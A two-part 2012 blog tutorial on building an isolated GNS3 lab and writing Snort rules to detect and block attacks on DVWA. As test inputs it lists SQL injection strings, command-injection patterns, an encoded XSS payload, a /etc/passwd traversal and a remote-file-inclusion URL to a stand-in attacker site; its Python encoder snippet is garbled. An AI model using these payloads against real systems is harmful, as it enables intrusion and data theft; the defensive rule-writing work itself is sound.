Tuesday, May 29, 2012

Using Snort IDS/IPS for web applications protection part II


At the first part of this tutorial i talked briefly about how to build your training lab ,which can help you to test your snort configurations and to test your written rules,i focused on the hub part because when i wanted to build a similar lab i did not find a way to build such this lab by GNS3 with  Snort , so the most tricky part was the hub and the reset things was available on the Internet.
 
At this part of our tutorial we have to write a rules that shall protect our web application.

Writing the Rules to protect your Web Application


We have a study case which is our DVWA (Damn vulnerable web application),this web application  for web security training,and many tutorials written to show you how to deal with,but i did not see any tutorial that talk about the Snort side because it is not a part of this application!.

We have a web application that contains many vulnerabilities:SQL injection,XSS,File inclusion,..etc.
Someone  will say I have a professional  web developers  so i don't need to use an IDS/IPS to protect my web application.

And I'll answer : It is not about you have a good or bad web developers,It is all about :
Are you sure 100% that your web application is not  vulnerable!?.

Ok lets go back to our rules,where you can find many tutorial to teach you how to write your own Snort rules,for web application rules you'll find tutorials but many of have a missing key which is: For what to write the rule?!.

We write Snort rules for the vulnerability and not for the exploit itself,this is what you must understand and believe in,because this is what snort designed for,you'll find many IDS/IPS based on attack signature,and not the vulnerability,use those IDS/IPS if you want to write for the attack!.

From my view point:  understanding  your web application structure is very important to write the rule for your web application ,let me explain more:

I did a Penetration testing for a some web applications, and then i asked myself if i want to write snort rules for some of those web applications  :

Q1:what  the rules that i have to write?.

Q2:How to avoid the stream of FP/FN (False Positive/Negative)?
Q3:How to be sure that my rule will not prevent a correct http requests? 
A:I want rules (for example) that can detect any sql injection attack,i don't want this rule to be triggered in any other place that do not interact with the backend database,because if this happen then i'll get a high FP, the SQL injection attack for my web application is the one it can talk with the back-end DB ,and i don't care if the attacker sent an attack to the place which does not interact with my DB.
 
And i don't want to write a large number of rules to detect  the sql injection attacks for example a rule to detect an attack like this :

' or 1=1;# since we're using the DVWA which use mysql db
and another rule to detect an attack using a like C comment ,like this one:
/****/'/*****/o/*****/r/****/1=1/*****/;#
and another rule to detect
/****/'/*****/o/*****/r/***********/1/*****/=1/*****************************/;#

and many other attacks forms like the union one ...etc.

I want a rule to block the SQL injection vulnerability and i want this rule to protect my web application and what protect my web application does not always protects the others, because from my view point every web application is a unique case!.

And i askd myself a stupid question what if my name is: union/select/delete/drop..etc?.

So what did i do?

Lets take a basic form of an SQL injection attack that i'll use to attack our dvwa:

I inserted  in the user ID the following attack:


' or 1=1;#

How can i detect this kind of attcks?
let me try to do this:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORT (msg:"[The system detected Sql Injection Attack-1]"; flow:to_server,established; uricontent:"/?id";nocase;pcre:"/(((\?id=)|(\?id%3D))(\w*)(((\')|(\%27))((\w+)|(\W+)|(\D+)|(\d+))))/ix"; classtype:web-application-attack; sid:1000015; rev:1;)

This is the regular expression:
(((\?id=)|(\?id%3D))(\w*)(((\')|(\%27))((\w+)|(\W+)|(\D+)|(\d+))))

lets read this regexp:

This rule supposed to detect sql attacks that comes from a url with parameter "id"  to understand why i have used the uricontent i prefer to let you read the snort manual then i recommend for you this post ,but pleas read this manual if you did not yet ,this is very important.

If the URL contains the id then we'll search the parameter content, by using the regular expression, we'll search for zero or more any word character,followed by the single quotation this single quotation followed by one or more  any word character or one or more  none word character or one or more  none digit  or one or more  digit.

So if i inserted our first attack then it shall be detected like this:

' or 1=1;#

http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=
matches the uricontent pattern with parameter value ' or 1=1;#

this is a week rule let me show you why:
/*********/'/*************/or/************/1=1/***************/;#

By this attack the rule wont work :),as you can see it is easy to bypass,take a look at the url:
http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=%2F*********%2F%27%2F*************%2For%2F************%2F1%3D1%2F***************%2F%3B%23&Submit=Submit#

If you send a data that contains meta charterers the meta chars will be encoded  as you can see you did not send "/" you sent %2F

Q:How can i solve this?
A:i did this by:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORT  (msg:"[The system detected Sql Injection Attack-2]"; flow:to_server,established; uricontent:"/?id";nocase; pcre:"/(((\?id=)|(\?id%3D)).{0,}(\%3b)|(\;).{0,}((\#)|(\%23)))/ix"; classtype:web-application-attack; sid:1000011; rev:1;)

"/(((\?id=)|(\?id%3D)).{0,}(\%3b)|(\;).{0,}((\#)|(\%23)))/ix";

Did you note the dot?,it  matches any single character ,and we have {0,}at least zero it is like zero or more (*),then we have the (;) and again zero or more single character then the (#)

So how can i test our rule?,  i'll use the last rule by running the prevention  mode:


drop tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORT  (msg:"[The system detected Sql Injection Attack-2]"; flow:to_server,established; uricontent:"/?id";nocase; pcre:"/(((\?id=)|(\?id%3D)).{0,}(\%3b)|(\;).{0,}((\#)|(\%23)))/ix"; classtype:web-application-attack; sid:1000011; rev:1;)



if you want to run the prevention mode do this command (I suppose that you have the write configurations) :

~$ snort  --daq afpacket -Q -c /etc/snort/snort.conf -i eth1:eth2


Try Those attacks:

' or 1=1;#
/*********/'/*************/or/************/1=1/***************/;#

 Then try to change the security level to medium on your DVWA and try to do this:

1 union select user_id,password from users where user_id >10 or 1=1;#

/*********/1 /*************/or/************/1=1/***************/;#

then try and try :)

The user id field shall deal with users id numbers/charterers in general.
 

 

Command Execution vulnerability


The DVWA vulnerable for command execution where the attacker can execute commands on the server for example ls -lth and more !.

The web application asking the users to insert an ip adress to ping the host that holding the ip address.

I can use this rule and trust it on my server that using the “DVWA” because it is customised to be used on on this site!. It will prevent  command execution attempt, the possible ways (that i know) to execute such kind of commands are:

xxx.xxx.xxx.xxx;cmd

xxx.xxx.xxx.xxx|cmd

xxx.xxx.xxx.xxx&cmd


;cmd

|cmd

&cmd

X;cmd

X|cmd

X&cmd

where xxx.xxx.xxx.xxx is any ip address,cmd is the command injected by the attacker,X is any character.

If we increased the level to medium we can bypass it by adding additional meta character ,but we still can prevent it by our rule.

If the attacker tried to use the equivalents hexadecimal code the rule will prevent it.


drop tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"Web-Attack [Command execution attempt-2]"; flow:to_server,established; uricontent:"/exec/"; nocase; pcre:"/((((\w*)|(\d*)|(\D*)|(.*))((\%3b)|(\;)((\w*)|(\d*)|(\D*)|(.))[^&submit])|((\%7C)|(\|)[^&submit])|((\%26)|(&)[^submit])(\w+)[&submit]))/ix"; classtype:web-application-attack; sid:10000018;rev:1;)


Rules to detect XSS Attacks


As an Example of this kind of attacks:

<script>alert("if the application accepted this then it is vulnerable");<script>

this is the same of the above attack :D 

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%e2%80%9c%54%68%69%73%20%69%73%20%61%20%74%65%73%74%69%6e%67%20%41%74%74%61%63%6b%20%69%66%20%74%68%65%20%70%61%67%65%20%61%63%63%65%70%74%65%64%20%74%68%69%73%20%61%74%74%61%63%6b%20%74%68%65%6e%20%69%74%20%69%73%20%76%75%6c%6e%65%72%61%62%6c%65%21%e2%80%9d%29%3c%2f%73%63%72%69%70%74%3e

you can convert it by this python code:
attack= raw_input("your Attack : ")
converted_
attack= ""
for a_char in
attack:
   
converted_attack +="%"+hex(ord(c)).split("x")[1]
print(
converted_attack
the following rule can detect both forms of the atack:

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"[XSS Attack--3]"; flow:to_server,established; pcre:"/(((\%3e\%3c)|(\%3c))((\w*)([.]*|([\n]*.[\n]*)|[\r]*.[\r]*)(\w*))|((\%[0-9a-f]+)+)(%3e))/ix"; classtype:web-application-attack; sid:1000071; rev:1;)
 

But it gives a FP (false positive), on the case of 1<2 , i want attacks that contains html tags or java sctript tags i don't expect on our DVWA that some one have a name: <someone>

 so to improve  it i did:

drop tcp  $EXTERNAL_NET any -> $HOME_NET 80 (msg:"[XSS Attack]"; flow:to_server,established; pcre:"/(((\%3e)+|(\%3e\%3c)+|(\%3c)+))(((\w*)([.]*|([\n]*.[\n]*)|[\r]*.[\r]*)(\w*))|((\%[0-9a-f]+)+))(%3e))/ix"; classtype:web-application-attack; sid:1000071; rev:1;)

only attacks that will start and end with < and >shall considered attacks which includes atacks like: >< somthing >>>
Do you think it is a good idea to ignore the cases such as : 1 < 2 for example?!.
Do you know that the DVWA at the page of sql injection also vulnerable for XSS attacks and this is why i did not limit this rule to work on the XSS attacks pages!.

Try to do this :

http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=1+%3Cscript%3Ealert%28%22am+also+vlunerable%22%29%3C%2Fscript%3E&Submit=Submit#

Rules to detect File inclusion 

To prevent this kind of attacks i want to ensure that the user can not change the path and the path can only be changed from the server.

Two rules written for this type of attacks one for remote Attacks and one for local attacks .

I wrote both rules in 20 minutes so i expect suggestions :),not only for those rules but for all the above rules,some people may say :we needs the  File traversal,...ok but in our case study i don't need it.

drop tcp  $EXTERNAL_NET any -> $HOME_NET 80 (msg:"[File Inclusion Attempt-With File traversal]"; flow:to_server,established;uricontent:"/?page=";nocase; pcre:"/(((\/?page=)|(\/?page%3D))((((\.)|(\%2e))+((\/)|(\%2f)))+(\w)*))/ix"; classtype:web-application-attack; sid:10000122; rev:1;)


Try for example:http://192.168.1.8/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd

For Remote Attacks:

drop tcp
$EXTERNAL_NET any -> $HOME_NET 80(msg:"[Remot-File Inclusion Attempt]"; flow:to_server,established; pcre:"/(((\/?page=)|(\/?page%3D))((\w)*(http:\/\/))+(\w)*)/ix"; classtype:web-application-attack; sid:10000121; rev:1;)

Try for example : 

http://192.168.1.8/dvwa/vulnerabilities/fi/?page=http://attackerSite.com/TheDamitScript.txt
You can use both rules in IDS mode just change the drop to alert and run the snort on IDS mode.



-Any suggestions?
-Any correction?
GoOoD Luck :)




Monday, May 28, 2012

Using Snort IDS/IPS for web applications protection part I

This is my first published tutorial so don't expect a high quality :) but i expect you'll point me  if you have a note.

Part one: Building the lab

There are always many solutions, and as what we're saying in Jordan : "all roads lead to Rome".

Snort one of the intrusion detection and prevention systems,which is available as an open source solution.

Either i did not find any tutorial (or am a bad googler),that give you a training environment to develop your skills for using Snort ,which can help you later to protect your production environment, so i decided to write this tutorial.

In this tutorial i used GNS3 network simulator to build a very simple environment which contains a c7200 cisco router,with two subnet network 192.168.1.0/24 this is the $HOME_NET, and 192.168.2.0/24 this is the $EXTERNAL_NET .

A CentOS web serever which is one of the linux distro, it works on subnet 192.168.1.0 with static ip a address 192.168.1.8 and at the same subnet i configured the Snort IDS/IPS which i installed on another CentOs, and i installed the DVWA  as a PHP/MySQL web application at the web server.

I used  virtualbox to build the virtual machines,so when you download the gns3 try to install the version which support the vbox but if you like to use quemo then nobody can say Don't.


Two things you must know:

1- It is a damn vulnerable lab,DONT connect it with Internet,stay local.

2-Snort shall be connected with either a hub or switch,in the case of  switch you have to know :"you must mirror the traffic of a switch port or VLAN. For this we will use the "port mirroring" mechanism which means the switch duplicates the traffic on your chosen interface or VLAN and send it to Snort."

So what about the hub?,for me i don't have any hub and sure i don't have a switch and i don't have enough money to buy it, and GNS3 does not emulate  switches or hubs, where switches/hubs are data link layer ...bla bla.

The solution to get a mirrored traffic is to convert one of your virtual linux machines to a hub :D.
I wont describe how to install the Snort on the CentOS because you'll find a very good manual on the Snort Doc.
I wont describe how to install or configure the web server and DVWA but if you did not find your way for this leave a comment to me and i'll do "InshaAllah".
 
Lets go now:


Q:What is the problem?.
A:I want an environment to test the Snort IDS/IPS, to write and test my written rules on.

OK the suggested solution:

-Can you get cisco IOS iso image?
-If yes follow this solution,And  if no then just take one of your virtual machines and configure it to work as a router!. 

Router Configurations:

en
config t
int fa 0/0
ip address 192.168.1.1 255.255.255.0
no sh

int fa 0/1
ip address 192.168.2.1 255.255.255.0
no shut
exit

router eigrp 1
network 192.168.1.0 0.0.0.255
network 192.168.2.0 0.0.0.255

Ctrl+z
wr
copy running-config startup-config 

Hub Configurations


Now the hub shall be connected via three NIC:

1- connect with our router 7200C

2-connect with our Snort IDS/IPS

3-connect with another switch for sure we're not going to spanned more than one switch port which is not a good design even if we're using a simple design,we still work locally which means we're consuming the host resources.

~$brctl addbr br0

Simply lets start with the bridge:

~$ vi /etc/sysconfig/network-scripts/ifcfg-br0

DEVICE=br0

TYPE=Bridge

BOOTPROTO=static

ONBOOT=yes

IPADDR=192.168.1.10

network=192.168.1.0

NETMASK=255.255.255.0

GATEWAY=192.168.1.1

DELAY=0

~$ vi /etc/sysconfig/network-scripts/ifcfg-eth0

DEVICE=eth0

ONBOOT=yes

BOOTPROTO=static

BRIDGE=br0

~$ vi /etc/sysconfig/network-scripts/ifcfg-eth1

DEVICE=eth1

ONBOOT=yes

BOOTPROTO=static

BRIDGE=br0

~$ vi /etc/sysconfig/network-scripts/ifcfg-eth2

DEVICE=eth2

ONBOOT=yes

BOOTPROTO=static

BRIDGE=br0

~$brctl addif br0 eth0

~$brctl addif br0 eth1

~$brctl addif br0 eth2

~$ip link set br0 up

~$ip addr 192.168.1.10/24 brd + dev br0

~$route add default gw 192.168.1.1 dev br0

~$ifconfig br0 up



~$service network restart

# this will convert the machine to work as a hub.
~$brctl setageing br0 0

~$chkconfig network on


Snort machine some configurations


I'll suppose that you have installed the snort on your linux machine and you tested it to see if it works on the sniffer mode and packet logger mode and the IDS mode:

Test for the sniffer mode:

~$snort -v -i eth0 

Test for the IDS mode:

~$ snort -c /etc/snort/snort.conf  -A console -i eth0



Now pleas add another interface to the snort machine and you'll know why we did this when we run snort on the inline mode (IPS).

the only two interfaces on you linux Snort machine shall be look like this:


~$vi /etc/sysconfig/network-scripts/ifcfg-eth0

DEVICE=eth0
ONBOOT=yes
BOOTPROTO=none



~$vi /etc/sysconfig/network-scripts/ifcfg-eth1

DEVICE=eth1
ONBOOT=yes
BOOTPROTO=none
Note no IP addresses, snort shall listen to the traffic ! and shall not interact with the outside world!.

For our test lab you can leave the default configurations i the snort.conf, or like what i did:
~$vi /etc/snort/snort.conf

ipvar HOME_NET 192.168.1.0/24

ipvar EXTERNAL_NET !$HOME_NET

and in the snort.conf

I commented out all the default rules because, am going to write my own rules.


------------------------------------------------
This part just a brief  view for a training lab, to use Snort IDS/IPS in,for ppl don't want to west their resources or don't have the required resources like routers,hubs,switches..however i suppose that they know what am doing here(if no then tell me).
This is our simple network if you notice the hub, it is not real hub it is just the linux machine that we converted it to work as hub and then i changed the symbol. 

Note: GNS3 default switches can not really mirror the traffic ,it is not a full switch simulation there is another solution for traffic spanning but you  should   have a real switch to do it.

______________________________________________________________________


Filially on the other subnet you need a connected machine (lets say BackTrack-5) to do your tests.

on the other subnet (192.168.2.0) either you'll configure a DHCP server and connect it or for the simplicity  use a static ip address.